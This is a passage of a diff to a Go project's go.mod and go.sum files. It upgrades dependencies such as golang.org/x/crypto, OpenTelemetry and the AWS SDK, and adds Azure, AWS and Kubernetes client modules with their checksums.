github.com/bishopfox/knownawsaccountslookup v0.0.0-20231228165844-c37ef8df33cb
|
||||
github.com/dominikbraun/graph v0.23.0
|
||||
@@ -81,7 +81,7 @@ require (
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/spf13/afero v1.15.0
|
||||
github.com/spf13/cobra v1.10.2
|
||||
golang.org/x/crypto v0.46.0
|
||||
golang.org/x/crypto v0.47.0
|
||||
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9
|
||||
)
|
||||
|
||||
@@ -108,36 +108,61 @@ require (
|
||||
github.com/clipperhouse/stringish v0.1.1 // indirect
|
||||
github.com/clipperhouse/uax29/v2 v2.3.0 // indirect
|
||||
github.com/cncf/xds/go v0.0.0-20251210132809-ee656c7534f5 // indirect
|
||||
github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect
|
||||
github.com/emicklei/go-restful/v3 v3.12.2 // indirect
|
||||
github.com/envoyproxy/go-control-plane/envoy v1.36.0 // indirect
|
||||
github.com/envoyproxy/protoc-gen-validate v1.3.0 // indirect
|
||||
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
|
||||
github.com/felixge/httpsnoop v1.0.4 // indirect
|
||||
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
|
||||
github.com/fxamacker/cbor/v2 v2.9.0 // indirect
|
||||
github.com/go-jose/go-jose/v4 v4.1.4 // indirect
|
||||
github.com/go-logr/logr v1.4.3 // indirect
|
||||
github.com/go-logr/stdr v1.2.2 // indirect
|
||||
github.com/go-openapi/jsonpointer v0.21.0 // indirect
|
||||
github.com/go-openapi/jsonreference v0.20.2 // indirect
|
||||
github.com/go-openapi/swag v0.23.0 // indirect
|
||||
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.3.0 // indirect
|
||||
github.com/golang-jwt/jwt/v5 v5.3.1 // indirect
|
||||
github.com/google/gnostic-models v0.7.0 // indirect
|
||||
github.com/josharian/intern v1.0.0 // indirect
|
||||
github.com/json-iterator/go v1.1.12 // indirect
|
||||
github.com/lucasb-eyer/go-colorful v1.3.0 // indirect
|
||||
github.com/mailru/easyjson v0.7.7 // indirect
|
||||
github.com/mattn/go-localereader v0.0.1 // indirect
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
|
||||
github.com/modern-go/reflect2 v1.0.3-0.20250322232337-35a7c28c31ee // indirect
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
|
||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
||||
github.com/muesli/termenv v0.16.0 // indirect
|
||||
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
|
||||
github.com/planetscale/vtprotobuf v0.6.1-0.20240319094008-0393e58bdf10 // indirect
|
||||
github.com/spiffe/go-spiffe/v2 v2.6.0 // indirect
|
||||
github.com/x448/float16 v0.8.4 // indirect
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
||||
go.opencensus.io v0.24.0 // indirect
|
||||
go.opentelemetry.io/auto/sdk v1.2.1 // indirect
|
||||
go.opentelemetry.io/contrib/detectors/gcp v1.39.0 // indirect
|
||||
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.64.0 // indirect
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.64.0 // indirect
|
||||
go.opentelemetry.io/otel v1.40.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.40.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.40.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk/metric v1.40.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.40.0 // indirect
|
||||
go.opentelemetry.io/otel v1.43.0 // indirect
|
||||
go.opentelemetry.io/otel/metric v1.43.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk v1.43.0 // indirect
|
||||
go.opentelemetry.io/otel/sdk/metric v1.43.0 // indirect
|
||||
go.opentelemetry.io/otel/trace v1.43.0 // indirect
|
||||
go.yaml.in/yaml/v2 v2.4.3 // indirect
|
||||
go.yaml.in/yaml/v3 v3.0.4 // indirect
|
||||
golang.org/x/sync v0.19.0 // indirect
|
||||
golang.org/x/telemetry v0.0.0-20251208220230-2638a1023523 // indirect
|
||||
gopkg.in/evanphx/json-patch.v4 v4.13.0 // indirect
|
||||
gopkg.in/inf.v0 v0.9.1 // indirect
|
||||
gopkg.in/yaml.v2 v2.4.0 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
k8s.io/klog/v2 v2.130.1 // indirect
|
||||
k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 // indirect
|
||||
k8s.io/utils v0.0.0-20251002143259-bc988d571ff4 // indirect
|
||||
sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect
|
||||
sigs.k8s.io/randfill v1.0.0 // indirect
|
||||
sigs.k8s.io/structured-merge-diff/v6 v6.3.0 // indirect
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -146,18 +171,33 @@ require (
|
||||
cloud.google.com/go/monitoring v1.24.3
|
||||
cloud.google.com/go/pubsub v1.50.1
|
||||
cloud.google.com/go/securitycenter v1.38.1
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/dnsresolver/armdnsresolver v1.3.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork v1.1.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/policyinsights/armpolicyinsights v0.9.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/privatedns/armprivatedns v1.3.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armpolicy v1.0.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/subscription/armsubscription v1.2.0
|
||||
github.com/aws/aws-sdk-go-v2/service/acm v1.38.2
|
||||
github.com/aws/aws-sdk-go-v2/service/kms v1.49.4
|
||||
github.com/aws/aws-sdk-go-v2/service/route53resolver v1.42.6
|
||||
github.com/aws/aws-sdk-go-v2/service/signer v1.32.6
|
||||
golang.org/x/oauth2 v0.34.0
|
||||
google.golang.org/api v0.257.0
|
||||
google.golang.org/genproto v0.0.0-20251202230838-ff82c1b0f217
|
||||
google.golang.org/protobuf v1.36.11
|
||||
k8s.io/api v0.35.4
|
||||
k8s.io/apiextensions-apiserver v0.35.4
|
||||
k8s.io/apimachinery v0.35.4
|
||||
k8s.io/client-go v0.35.4
|
||||
sigs.k8s.io/yaml v1.6.0
|
||||
)
|
||||
|
||||
require (
|
||||
cloud.google.com/go v0.123.0 // indirect
|
||||
cloud.google.com/go/compute/metadata v0.9.0 // indirect
|
||||
cloud.google.com/go/longrunning v0.7.0 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0 // indirect
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 // indirect
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible // indirect
|
||||
github.com/Azure/go-autorest/autorest/adal v0.9.24 // indirect
|
||||
@@ -168,17 +208,17 @@ require (
|
||||
github.com/Azure/go-autorest/logger v0.2.2 // indirect
|
||||
github.com/Azure/go-autorest/tracing v0.6.1 // indirect
|
||||
github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.22 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.22 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.9.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.22 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.9.13 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.11.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.19.16 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.19.21 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sso v1.30.7 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.35.12 // indirect
|
||||
github.com/charmbracelet/bubbles v0.21.0
|
||||
@@ -209,10 +249,10 @@ require (
|
||||
github.com/zeebo/xxh3 v1.0.2 // indirect
|
||||
go.mongodb.org/mongo-driver v1.17.6 // indirect
|
||||
golang.org/x/mod v0.31.0 // indirect
|
||||
golang.org/x/net v0.48.0 // indirect
|
||||
golang.org/x/sys v0.40.0 // indirect
|
||||
golang.org/x/term v0.38.0 // indirect
|
||||
golang.org/x/text v0.32.0 // indirect
|
||||
golang.org/x/net v0.49.0 // indirect
|
||||
golang.org/x/sys v0.42.0 // indirect
|
||||
golang.org/x/term v0.39.0 // indirect
|
||||
golang.org/x/text v0.33.0 // indirect
|
||||
golang.org/x/time v0.14.0 // indirect
|
||||
golang.org/x/tools v0.40.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect
|
||||
|
||||
@@ -49,22 +49,40 @@ cloud.google.com/go/trace v1.11.7 h1:kDNDX8JkaAG3R2nq1lIdkb7FCSi1rCmsEtKVsty7p+U
|
||||
cloud.google.com/go/trace v1.11.7/go.mod h1:TNn9d5V3fQVf6s4SCveVMIBS2LJUqo73GACmq/Tky0s=
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible h1:fcYLmCpyNYRnvJbPerq7U0hS+6+I79yEDJBqVNcqUzU=
|
||||
github.com/Azure/azure-sdk-for-go v68.0.0+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0 h1:JXg2dwJUmPB9JmtVmdEB16APJ7jurfbY5jnfXpJoRMc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0/go.mod h1:YD5h/ldMsG0XiIw7PdyNhLxaM317eFh5yNLccNfGdyw=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0 h1:fou+2+WFTib47nS+nz/ozhEBnvU96bKHy6LjRsY4E28=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0/go.mod h1:t76Ruy8AHvUAC8GfMWJMa0ElSbuIcO03NLpynfbgsPA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 h1:Hk5QBxZQC1jb2Fwj6mpzme37xbCDdNTxU7O9eb5+LB4=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1/go.mod h1:IYus9qsFobWIc2YVwe/WPjcnyCkPKtnHAqUYeebc8z0=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2 h1:yz1bePFlP5Vws5+8ez6T3HWXPmwOK7Yvq8QxDBD3SKY=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2/go.mod h1:Pa9ZNPuoNu/GztvBSKk9J1cDJW6vk/n0zLtV4mgd8N8=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 h1:9iefClla7iYpfYWdzPCRDozdmndjTm8DXdpCzPajMgA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2/go.mod h1:XtLgD3ZD34DAaVIIAyG3objl5DynM3CQ/vMcbBNJZGI=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/dnsresolver/armdnsresolver v1.3.0 h1:oFR4sUr/00//HiGZNO4Y0b/yZn4GxMmBPng4GdErJiY=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/dnsresolver/armdnsresolver v1.3.0/go.mod h1:Rwggm+UIAtUyKV+chyaPaUeiVeP7Y+XtXH7/BSI2J8A=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.0.0 h1:lMW1lD/17LUA5z1XTURo7LcVG2ICBPlyMHjIUrcFZNQ=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.0.0/go.mod h1:ceIuwmxDWptoW3eCqSXlnPsZFKh4X+R38dWPv7GS9Vs=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v2 v2.0.0 h1:PTFGRSlMKCQelWwxUyYVEUqseBJVemLyqWJjvMyt0do=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v2 v2.0.0/go.mod h1:LRr2FzBTQlONPPa5HREE5+RjSCTXl7BwOvYOaWTqCaI=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v3 v3.1.0 h1:2qsIIvxVT+uE6yrNldntJKlLRgxGbZ85kgtz5SNBhMw=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal/v3 v3.1.0/go.mod h1:AW8VEadnhw9xox+VaVd9sP7NjzOAnaZBLRH6Tq3cJ38=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0 h1:nnQ9vXH039UrEFxi08pPuZBE7VfqSJt343uJLw0rhWI=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0/go.mod h1:4YIVtzMFVsPwBvitCDX7J9sqthSj43QD1sP6fYc1egc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/managementgroups/armmanagementgroups v1.0.0 h1:pPvTJ1dY0sA35JOeFq6TsY2xj6Z85Yo23Pj4wCCvu4o=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/managementgroups/armmanagementgroups v1.0.0/go.mod h1:mLfWfj8v3jfWKsL9G4eoBoXVcsqcIUTapmdKy7uGOp0=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork v1.1.0 h1:QM6sE5k2ZT/vI5BEe0r7mqjsUSnhVBFbOsVkEuaEfiA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork v1.1.0/go.mod h1:243D9iHbcQXoFUtgHJwL7gl2zx1aDuDMjvBZVGr2uW0=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/policyinsights/armpolicyinsights v0.9.0 h1:VK9yyk+hLSM+9UHsemlsON7sqQqbCu9O349e0RG8kBg=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/policyinsights/armpolicyinsights v0.9.0/go.mod h1:FFXnZdOg5Gt9/Pfljm1IzcezNfmbm2ScWYT5KH7KiNc=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/privatedns/armprivatedns v1.3.0 h1:yzrctSl9GMIQ5lHu7jc8olOsGjWDCsBpJhWqfGa/YIM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/privatedns/armprivatedns v1.3.0/go.mod h1:GE4m0rnnfwLGX0Y9A9A25Zx5N/90jneT5ABevqzhuFQ=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armpolicy v1.0.0 h1:FKYUd0TZfjjWtdk7LR+6rI64yNY1gMe9rNV40Y2Fh4o=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armpolicy v1.0.0/go.mod h1:w987ZDGBg74HZu5sAqaBEhDTlvlJlxPggIhBiDviYhE=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.2.0 h1:Dd+RhdJn0OTtVGaeDLZpcumkIVCtA/3/Fo42+eoYvVM=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.2.0/go.mod h1:5kakwfW5CjC9KK+Q4wjXAg+ShuIm2mBMua0ZFj2C8PE=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.8.1 h1:/Zt+cDPnpC3OVDm/JKLOs7M2DKmLRIIp3XIx9pHHiig=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.8.1/go.mod h1:Ng3urmn6dYe8gnbCMoHHVl5APYz2txho3koEkV2o2HA=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/subscription/armsubscription v1.2.0 h1:UrGzkHueDwAWDdjQxC+QaXHd4tVCkISYE9j7fSSXF8k=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/subscription/armsubscription v1.2.0/go.mod h1:qskvSQeW+cxEE2bcKYyKimB1/KiQ9xpJ99bcHY0BX6c=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.3 h1:ZJJNFaQ86GVKQ9ehwqyAFE6pIfyicpuJ8IkVaPBc6/4=
|
||||
github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.3/go.mod h1:URuDvhmATVKqHBH9/0nOiNKk0+YcwfQ3WkK5PqHKxc8=
|
||||
github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs=
|
||||
@@ -110,28 +128,32 @@ github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/cloudmock v0.54.0/go.mod h1:vB2GH9GAYYJTO3mEn8oYwzEdhlayZIdQz6zdzgUIRvA=
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.54.0 h1:s0WlVbf9qpvkh1c/uDAPElam0WrL7fHRIidgZJ7UqZI=
|
||||
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.54.0/go.mod h1:Mf6O40IAyB9zR/1J8nGDDPirZQQPbYJni8Yisy7NTMc=
|
||||
github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0=
|
||||
github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM=
|
||||
github.com/apache/arrow/go/v15 v15.0.2 h1:60IliRbiyTWCWjERBCkO1W4Qun9svcYoZrSLcyOsMLE=
|
||||
github.com/apache/arrow/go/v15 v15.0.2/go.mod h1:DGXsR3ajT524njufqf95822i+KTh+yea1jass9YXgjA=
|
||||
github.com/aquasecurity/table v1.11.0 h1:SzgCAv7dZcv/gyAyzxorS6OgEk7w/WU5iT2pStIkpl4=
|
||||
github.com/aquasecurity/table v1.11.0/go.mod h1:eqOmvjjB7AhXFgFqpJUEE/ietg7RrMSJZXyTN8E/wZw=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.0 h1:tNvqh1s+v0vFYdA1xq0aOJH+Y5cRyZ5upu6roPgPKd4=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.0/go.mod h1:MayyLB8y+buD9hZqkCW3kX1AKq07Y5pXxtgB+rRFhz0=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.4 h1:489krEF9xIGkOaaX3CE/Be2uWjiXrkCH6gUX+bZA/BU=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.4/go.mod h1:IOAPF6oT9KCsceNTvvYMNHy0+kMF8akOjeDvPENWxp4=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.6 h1:1AX0AthnBQzMx1vbmir3Y4WsnJgiydmnJjiLu+LvXOg=
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.6/go.mod h1:dy0UzBIfwSeot4grGvY1AqFWN5zgziMmWGzysDnHFcQ=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8 h1:eBMB84YGghSocM7PsjmmPffTa+1FBUeNvGvFou6V/4o=
|
||||
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.8/go.mod h1:lyw7GFp3qENLh7kwzf7iMzAxDn+NzjXEAGjKS2UOKqI=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.5 h1:pz3duhAfUgnxbtVhIK39PGF/AHYyrzGEyRD9Og0QrE8=
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.5/go.mod h1:xmDjzSUs/d0BB7ClzYPAZMmgQdrodNjPPhd6bGASwoE=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5 h1:xMo63RlqP3ZZydpJDMBsH9uJ10hgHYfQFIk1cHDXrR4=
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5/go.mod h1:hhbH6oRcou+LpXfA/0vPElh/e0M3aFeOblE1sssAAEk=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16 h1:80+uETIWS1BqjnN9uJ0dBUaETh+P1XwFy5vwHwK5r9k=
|
||||
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.16/go.mod h1:wOOsYuxYuB/7FlnVtzeBYRcjSRtQpAW0hCP7tIULMwo=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.16 h1:rgGwPzb82iBYSvHMHXc8h9mRoOUBZIGFgKb9qniaZZc=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.16/go.mod h1:L/UxsGeKpGoIj6DxfhOWHWQ/kGKcd4I1VncE4++IyKA=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.16 h1:1jtGzuV7c82xnqOVfx2F0xmJcOw5374L7N6juGW6x6U=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.16/go.mod h1:M2E5OQf+XLe+SZGmmpaI2yy+J326aFf6/+54PoxSANc=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.22 h1:GmLa5Kw1ESqtFpXsx5MmC84QWa/ZrLZvlJGa2y+4kcQ=
|
||||
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.22/go.mod h1:6sW9iWm9DK9YRpRGga/qzrzNLgKpT2cIxb7Vo2eNOp0=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.22 h1:dY4kWZiSaXIzxnKlj17nHnBcXXBfac6UlsAx2qL6XrU=
|
||||
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.7.22/go.mod h1:KIpEUx0JuRZLO7U6cbV204cWAEco2iC3l061IxlwLtI=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.4 h1:WKuaxf++XKWlHWu9ECbMlha8WOEGm0OUEZqm4K/Gcfk=
|
||||
github.com/aws/aws-sdk-go-v2/internal/ini v1.8.4/go.mod h1:ZWy7j6v1vWGmPReu0iSGvRiise4YI5SkR3OHKTZ6Wuc=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.16 h1:CjMzUs78RDDv4ROu3JnJn/Ig1r6ZD7/T2DXLLRpejic=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.16/go.mod h1:uVW4OLBqbJXSHJYA9svT9BluSvvwbzLQ2Crf6UPzR3c=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.22 h1:rWyie/PxDRIdhNf4DzRk0lvjVOqFJuNnO8WwaIRVxzQ=
|
||||
github.com/aws/aws-sdk-go-v2/internal/v4a v1.4.22/go.mod h1:zd/JsJ4P7oGfUhXn1VyLqaRZwPmZwg44Jf2dS84Dm3Y=
|
||||
github.com/aws/aws-sdk-go-v2/service/acm v1.38.2 h1:ozcwethaFOi2ST9h6MKGq1GAIHP68tjiDqgkWVPwfR8=
|
||||
github.com/aws/aws-sdk-go-v2/service/acm v1.38.2/go.mod h1:HNtDOv4XmqExPxNIBp171KKc5ZoUJwHH9ZhlCcZmdt0=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.38.3 h1:nnhGwOSJAnWSwcOINuRUql8/C/l0pCGedsNgv6FSZHs=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.38.3/go.mod h1:U3xTNpFRAV7yduECTfDBDJVFmY5FLrL5HsTSigwOeHs=
|
||||
github.com/aws/aws-sdk-go-v2/service/apigatewayv2 v1.33.4 h1:FcarAOOdK+8gIYD8/90x7JTOAno+U6IrzMdowePmyBA=
|
||||
@@ -192,22 +214,22 @@ github.com/aws/aws-sdk-go-v2/service/grafana v1.32.9 h1:5UI/ZQ+cW+sPsWe6BHn3K+hW
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.32.9/go.mod h1:QVVGT98da/skEaF+G12IB3AAosDTS57x0bL4bJ9FCuE=
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.53.1 h1:xNCUk9XN6Pa9PyzbEfzgRpvEIVlqtth402yjaWvNMu4=
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.53.1/go.mod h1:GNQZL4JRSGH6L0/SNGOtffaB1vmlToYp3KtcUIB0NhI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.4 h1:0ryTNEdJbzUCEWkVXEXoqlXV72J5keC1GvILMOuD00E=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.4/go.mod h1:HQ4qwNZh32C3CBeO6iJLQlgtMzqeG17ziAA/3KDJFow=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.9.7 h1:DIBqIrJ7hv+e4CmIk2z3pyKT+3B6qVMgRsawHiR3qso=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.9.7/go.mod h1:vLm00xmBke75UmpNvOcZQ/Q30ZFjbczeLFqGx5urmGo=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7 h1:5EniKhLZe4xzL7a+fU3C2tfUN4nWIqlLesfrjkuPFTY=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.13.7/go.mod h1:x0nZssQ3qZSnIcePWLvcoFisRXJzcTVvYpAAdYX8+GI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.9.13 h1:JRaIgADQS/U6uXDqlPiefP32yXTda7Kqfx+LgspooZM=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.9.13/go.mod h1:CEuVn5WqOMilYl+tbccq8+N2ieCy0gVn3OtRb0vBNNM=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.11.16 h1:8g4OLy3zfNzLV20wXmZgx+QumI9WhWHnd4GCdvETxs4=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.11.16/go.mod h1:5a78jwLMs7BaesU0UIhLfVy2ZmOEgOy6ewYQXKTD37Q=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.16 h1:oHjJHeUy0ImIV0bsrX0X91GkV5nJAyv1l1CC9lnO0TI=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.16/go.mod h1:iRSNGgOYmiYwSCXxXaKb9HfOEj40+oTKn8pTxMlYkRM=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.19.16 h1:NSbvS17MlI2lurYgXnCOLvCFX38sBW4eiVER7+kkgsU=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.19.16/go.mod h1:SwT8Tmqd4sA6G1qaGdzWCJN99bUmPGHfRwwq3G5Qb+A=
|
||||
github.com/aws/aws-sdk-go-v2/service/kinesis v1.42.9 h1:9Dme/lCNr7GT+n3+AsJV95g5akEhSYeJKoQOcrL8xZ4=
|
||||
github.com/aws/aws-sdk-go-v2/service/kinesis v1.42.9/go.mod h1:77+d3nX1hnx0CMC+FG3N34e86SOaEKGpSP+8bQYkX90=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.21 h1:c31//R3xgIJMSC8S6hEVq+38DcvUlgFY0FM6mSI5oto=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.13.21/go.mod h1:r6+pf23ouCB718FUxaqzZdbpYFyDtehyZcmP5KL9FkA=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.19.21 h1:ZlvrNcHSFFWURB8avufQq9gFsheUgjVD9536obIknfM=
|
||||
github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.19.21/go.mod h1:cv3TNhVrssKR0O/xxLJVRfd2oazSnZnkUeTf6ctUwfQ=
|
||||
